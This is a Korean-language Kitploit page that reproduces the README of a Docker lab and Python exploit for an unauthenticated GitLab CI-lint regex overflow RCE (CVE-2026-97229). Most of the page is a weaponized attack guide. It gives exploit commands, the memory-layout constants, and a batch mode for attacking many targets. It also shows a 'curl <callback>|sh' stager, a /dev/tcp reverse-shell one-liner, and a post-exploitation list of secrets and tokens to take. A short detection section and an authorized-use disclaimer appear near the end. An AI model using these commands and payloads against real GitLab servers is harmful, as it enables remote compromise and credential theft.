Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
cve-2026-97229-lab — CVE-2026-97229에 대한 Docker 랩 및 Python 익스플로잇으로, 인증 없이 악용 가능한 GitLab CI-lint Onigmo 정규식 정수 오버플로로 인한 RCE를 다루며, 프로빙, 레이아웃 도출, 그리고 침투 후 활동을 포함합니다. | Kitploit
도구/GitHubGitHub/emc-kk/cve-2026-97229-lab
Vulnerability AnalysisExploitationWeb Application ExploitationPost-ExploitationCryptographyPenetration TestingRemote Access ToolPayload DevelopmentLabs & Practice
GitHubemc-kk/cve-2026-97229-lab

cve-2026-97229-lab

CVE-2026-97229에 대한 Docker 랩 및 Python 익스플로잇으로, 인증 없이 악용 가능한 GitLab CI-lint Onigmo 정규식 정수 오버플로로 인한 RCE를 다루며, 프로빙, 레이아웃 도출, 그리고 침투 후 활동을 포함합니다.

1일 전아직 검토되지 않음
저장소 보기

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-97229 GitLab CI lint 정규식 정수 오버플로 RCE

CVE-2026-97229 — GitLab CI lint 정규식 OOB 쓰기 → RCE

승인된 테스트 전용. 본인 소유이거나 명시적으로 테스트 권한을 받은 시스템에만 사용하십시오 (버그 바운티 범위, 고객 참여, 자체 랩). 무단 사용은 불법입니다.

English | 中文

Onigmo 매처를 손상시키고 실행 흐름을 libruby.so 내부의 system() 가젯으로 리다이렉트하는 인증되지 않은 CI-lint 요청:

GET /api/v4/projects/:id/ci/lint?content_ref=<nonce>
  → include.rules.exists.regexp compiles a crafted pattern
  → a 57k-repeat drives the matcher into a ~2 GiB expansion
  → the write lands past the allocation and redirects the VM frame
  → mov r14,rdi; call system@plt runs a 28-byte stager
  → curl -s <callback>|sh  →  uid=998(git)

최종 요청은 인증이 필요 없지만, 악성 CI 구성을 심으려면 공개 프로젝트에 대한 쓰기 권한이 필요합니다(또는 자체 등록과 공개 프로젝트를 허용하는 인스턴스).


한눈에 보기

항목값
영향받음 (테스트됨)19.2.0–19.2.7, 19.3.0–19.3.3, 19.4.0–19.4.1
악용 불가19.2.8, 19.3.4 (예외, 아래 참조), 19.3.5, 19.4.2; 19.2.3은 CE 이미지 없음
트리거인증 없는 GET /api/v4/projects/:id/ci/lint
전제 조건접근 가능성 + 공개 프로젝트에 대한 쓰기 권한 (토큰, 탈취된 계정 또는 개방형 가입)
영향GitLab 컨테이너 내부에서 git (uid 998) 권한으로 명령 실행
PoC 제약x86_64 빌드; 레이아웃은 버전 문자열이 아닌 libruby.so 빌드별로 결정됨
권고 경계19.2.x < 19.2.8, 19.3.x < 19.3.5, 19.4.x < 19.4.2

19.3.4는 권고에서 영향받는 것으로 나열되지만, 번들된 libruby.so가 취약한 확장 경로에 진입하지 않습니다 — 무기화할 수 없었습니다 (repro/evidence/2026-10-18-full-matrix/).


빠른 시작 (랩)

./lab/run.sh 19.4.1                                    # local Docker; first boot 5–15 min
python3 exploit/cve97229.py --url http://127.0.0.1:8080 --container gl-19-4-1 --probe
python3 exploit/cve97229.py --url http://127.0.0.1:8080 --container gl-19-4-1

Expected last line:

{"status":"RCE","version":"19.4.1","lint":"http(502)","project":"root/e12ab34",
 "output":"uid=998(git) gid=998(git) groups=998(git)\n..."}

클라우드 계정도, SSH도 필요 없습니다. 랩은 일반 Docker(로컬 데몬, DOCKER_HOST, 또는 docker context)입니다. Docker Desktop에서는 --callback-host host.docker.internal을 추가하세요.


작동 방식

  1. 운영자는 공개 프로젝트를 생성하고, 조작된 include.rules.exists.regexp와 110바이트 저장소 경로를 포함한 브랜치를 푸시합니다.
  2. 인증되지 않은 lint 요청이 해당 패턴을 컴파일합니다. 57,805회 반복은 {5(?#)7805}로 작성되어 Rails 측 반복 가드(REPEAT_MAX=1000)가 이를 감지하지 못합니다.
  3. 취약한 빌드에서 매처가 확장을 실체화하며(~2 GiB), 크기 산술이 랩어라운드되어 쓰기가 인접 메모리를 손상시킵니다.
  4. 조작된 경로가 call 명령과 system@plt의 오프셋을 제공하여 VM을 리다이렉트합니다.
  5. 스테이저는 curl -s <callback>|sh로, git 서비스 사용자 권한의 셸을 제공합니다.

파트 1 — 재현 (랩)

1.1 대상 시작

./lab/run.sh 19.4.1            # http://127.0.0.1:8080, container gl-19-4-1
./lab/run.sh 19.3.3 8081       # second version on another port

런처는 익스플로잇에 필요한 메모리 설정(sidekiq off, Puma 워커 1개, 작은 Postgres 버퍼, --memory 6.5g --shm-size 256m)을 적용하고, UI를 기다린 뒤 root 비밀번호를 설정합니다. lab/README.md / lab/README_CN.md를 참고하세요.

1.2 프로브

python3 exploit/cve97229.py --url http://127.0.0.1:8080 --container gl-19-4-1 --probe
필드의미
httpGET /users/sign_in의 상태
version컨테이너에서 읽은 GitLab 버전 (컨테이너 접근 없으면 null)
class권고 분류: affected / patched / not-listed / unknown
libruby_md5대상 컨테이너의 libruby.so 빌드 식별자
layoutfinish / gadget / step (빌드가 알려져 있거나 도출 가능한 경우에만)
exploitable레이아웃 사용 가능 여부; class=affected가 반드시 이것을 의미하지는 않음
layout_sourcetable, derived, 또는 no-overflow-in-build

class: "unknown"은 단순히 컨테이너/버전 정보를 사용할 수 없었음을 의미합니다 — URL만 있는 대상의 경우 도구가 레이아웃을 분류하거나 도출할 수 없습니다. 아래의 “외부 대상”을 참조하세요.

1.3 익스플로잇

python3 exploit/cve97229.py --url http://127.0.0.1:8080 --container gl-19-4-1 \
  --command 'id; hostname; uname -a'

성공 기준: lint가 dropped(HTTPError) 또는 http(502)이고 output이 uid=998(git)로 시작합니다. valid:true인 200은 해당 빌드가 취약하지 않다는 뜻입니다.

1.4 버전 매트릭스

라인익스플로잇 가능패치됨 / 익스플로잇 불가
19.2.x19.2.0, 19.2.1, 19.2.2, 19.2.4–19.2.719.2.8; 19.2.3은 CE 이미지 없음
19.3.x19.3.0–19.3.319.3.4 (matcher가 절대 확장되지 않음), 19.3.5
19.4.x19.4.0, 19.4.119.4.2

빌드별 증거: repro/evidence/2026-10-18-full-matrix/ (中文).


파트 2 — 무기화 (승인된 대상)

2.1 대상 형식

# plain URL list (.txt)
https://gitlab-a.example
http://gitlab-b.example:8080

# structured (.txt or .csv): name,url,container[,layout]
gl-1941,http://127.0.0.1:8080,gl-19-4-1

# CSV with header
name,url,container,layout
gl-1941,http://127.0.0.1:8080,gl-19-4-1,

container는 현재 익스플로잇 경로(libruby/layout + rails runner)에 필요합니다. layout은 도구가 읽을 수 없는 빌드에 대한 선택적 재정의입니다.

2.2 배치 파이프라인

python3 exploit/cve97229.py --targets targets.txt --json-out run.json

각 대상에 대해 순서대로: probe → exploit → RCE 시 post-exploitation (exploit/post/collect.sh; --post-command-file로 재정의, --no-post로 비활성화). --probe-only는 핑거프린팅 후 중지합니다. 대상 중 하나라도 RCE가 발생하면 종료 코드 0입니다.

2.3 레이아웃 해석

페이로드에는 빌드별 상수 세 개(finish, system@plt 가젯, UTF-8 단계)가 필요합니다. 해석 순서:

  1. 명시적 layout (0x… 0x… 12345);
  2. 검증된 md5 테이블 (10개 버전 커버);
  3. 컨테이너의 libruby.so로부터 exploit/layout.py를 통한 즉석 도출.

알려진 모든 취약 빌드는 두 가지 레이아웃만 사용합니다: 0x486DA9/0x31EE29/1249885 및 0x4885A9/0x31E809/1256138.

2.4 외부 대상 (Docker 없음)

--mode external은 HTTP와 PAT(api 스코프)만 필요합니다: API를 통해 공개 프로젝트를 생성하고, oauth2:<token>으로 푸시하며, 인증 없는 lint를 실행하고, 이후 프로젝트를 제거합니다.

python3 exploit/cve97229.py --mode external --targets scope.csv \
  --token glpat-... --scope scope.txt --authorized \
  --callback-host 203.0.113.10 --callback-port 80
  • layout: 인증된 GET /api/v4/version → 버전/md5 테이블; 알 수 없는 버전 → 두 후보 레이아웃 모두 (--force-unknown-version은 버전 검사를 건너뜀);
  • credential: 공개 프로젝트를 생성할 수 있는 api 스코프의 PAT; 없으면 도구는 no-write-path를 보고하고 아무것도 전송하지 않음;
  • callback: 대상에서 접근 가능하고 최대 16바이트 (cb.example:80); 더 긴 주소는 요청 전에 거부됨;
  • safety: 익스플로잇에는 --scope와 --authorized가 필수; --dry-run은 핑거프린팅만 수행;
  • cleanup: 프로젝트는 예약된 후 영구적으로 제거됨 (GET /api/v4/projects/:id로 확인);
  • Windows: 조작된 경로는 디스크에 전혀 닿지 않음 — git 인덱스를 통해 스테이징됨.

Part 3 — Post-exploitation

익스플로잇은 컨테이너 내부의 git (uid 998) 으로 실행됨 — 전체 GitLab 침해에 충분함. 플레이북: exploit/post/README.md / 中文.

# one-shot triage: identity, secrets, DB, repos, sudo, docker.sock
python3 exploit/cve97229.py --url ... --container ... --command-file exploit/post/collect.sh
대상값
/etc/gitlab/gitlab-secrets.jsondb_key_base, otp_key_base, runner/JWT 키; CI 변수와 토큰을 복호화함
database.yml + gitlab-rails runner직접 DB, PAT, 관리자 사용자, CI 변수
/var/opt/gitlab/git-data/repositories프라이빗 리포지토리를 포함한 모든 리포지토리
Ci::Runner.pluck(:token)악성 runner 등록
gitlab.rbSMTP/LDAP, 오브젝트 스토리지, 레지스트리 키

대화형 셸: 리스너와 함께 --command 'bash -i >& /dev/tcp/<host>/4444 0>&1'.


탐지 및 완화

**19.2.8+, 19.3.5+, 19.4.2+**로 업그레이드하세요.

삼중 신호:

  1. workhorse: GET /api/v4/projects/*/ci/lint에서 badgateway: failed to receive response: EOF;
  2. Puma: 워커 재시작 및 regexp_matcher.rb:58: [BUG] Segmentation fault;
  3. Git 기록: ( ?# ) 분할 수량자, 반복된 [[:word:]], 또는 \U00010400이 포함된 110바이트 UTF-8 경로.

리포지토리 구조

도구 다운로드